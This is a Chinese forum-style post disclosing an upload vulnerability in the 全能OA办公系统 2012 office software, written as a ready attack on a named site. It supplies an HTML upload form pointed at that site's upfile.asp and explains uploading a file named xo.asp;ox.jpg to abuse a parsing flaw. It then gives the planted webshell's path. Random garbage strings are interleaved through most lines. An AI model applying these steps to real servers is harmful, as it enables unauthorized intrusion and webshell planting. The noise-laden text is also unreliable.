全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
  a0 W- d6 ~% N' h+ C​
* }; r/ ^. S5 r( F6 g. s! `0 A系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
& N% S& o, \/ J7 b) N( x5 _; ?2 O公司通告
工作计划
通讯助理
6 s1 {" }1 l, z) I4 o客户资源
我的公文
公文传阅
公共资源
1 t5 y$ g; f( t7 q5 p资源预约
今日考勤
1 ?' S0 R6 k& _  n! e6 X5 R个人计划
个人通讯录
# b. j( S$ `% k' Z个人基本档案
未读邮件
发邮件
收件夹
寄件夹
! V, T  M! M  ^' U$ y网络硬盘
网络会议
4 h7 w4 j1 e7 u; ?网络调查
交流论坛
1 l& G, g9 x  R7 D/ i
有兴趣测试的朋友可以下源码看看

源码下载：

0 t% X9 n4 F6 S7 d) Bhttp://www.mycodes.net/30/4750.htm
# I' J7 B; K7 O2 v3 m' u- P
漏洞介绍：
& s4 l! H( @8 e" t
由upfile.asp上传文件漏洞引起
1 H8 ]- n3 l7 T) b9 d& r
测试方法：

7 p6 b2 o5 [( ~8 g$ A4 \使用名小子上传http://www.itlynn.com/upfile.asp即可
+ }9 F; H5 M% O, z
: g: }: ^/ k! g2 @如果upfile.asp文件被删除不存在。

' d. b5 B" G* U" h  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
% T* a% A! g6 k8 V. l3 M
如果存在那么将如下代码保存为upfile.html。

$ Q1 V) F; g) A4 B! I4 s然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
1 @$ Y. J/ N# U* t% C
: e( @( [3 N; ]2 ]+ K' I1 T

01 <table border='0' align="center" cellpadding="5">
% e& g8 t+ s3 I% F# K, \. l! H
- m+ Q, ^) d) b) z/ F+ U02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
0 m9 N9 k% \6 H+ N
04             <td>报错：</td>
+ G. ~. J' }$ C9 w* D& T
05             <td><input type='radio' name='errnumber' value='0'>

) u( c! q0 G- ]) s5 E$ x5 N2 ^06               自动更名
/ @9 u, N: n! s, v4 n, G2 Z8 y
) u1 x, B) p" K' t07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
& D6 u7 g. c; ?! @; p9 d% U7 w
0 t% H" n% a1 Y8 }; m( k09               <input type='radio' name='errnumber' value='2'>

  Z3 T) ~: J; K0 ]0 ~# V10               直接覆盖</td>

11           </tr>
. ]% a% y8 U- w! i% n# j
12           <tr>
6 C; K& ~* {& j% f  s4 s
" a$ C1 I/ Q1 k3 q7 a13             <td>主题：</td>
5 c/ h8 l- Y" r  R
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>

17             <td>文件：</td>
- L. q5 @7 v) d# T' M1 p
# G& h# o. \) U0 e4 q! X5 D- V18             <td><input type="file"name="fruit"size="30"></td>
9 F/ L" x/ {, }& A+ K' a- @
19           </tr>

6 \' r% R9 K" }. Q- X) {/ Z" h9 @20           <tr>
' `5 |* e% ]9 l
) l: C( @% F3 c& O0 [0 L, J  `21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

/ k6 t- E5 F8 J- Y5 c+ Y. v1 l# d, P23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
( S: Y7 _! O) R# y) p+ A
% n. C4 |8 b; l0 }4 {9 B2 }5 N26           </tr>
# G9 y4 |, i* [& f- h- y
27         </form>
; z8 a- U" f+ J" O! F$ W- [
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
" _3 h3 _5 ~7 a$ Y

- f* g3 K" i8 _% w
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。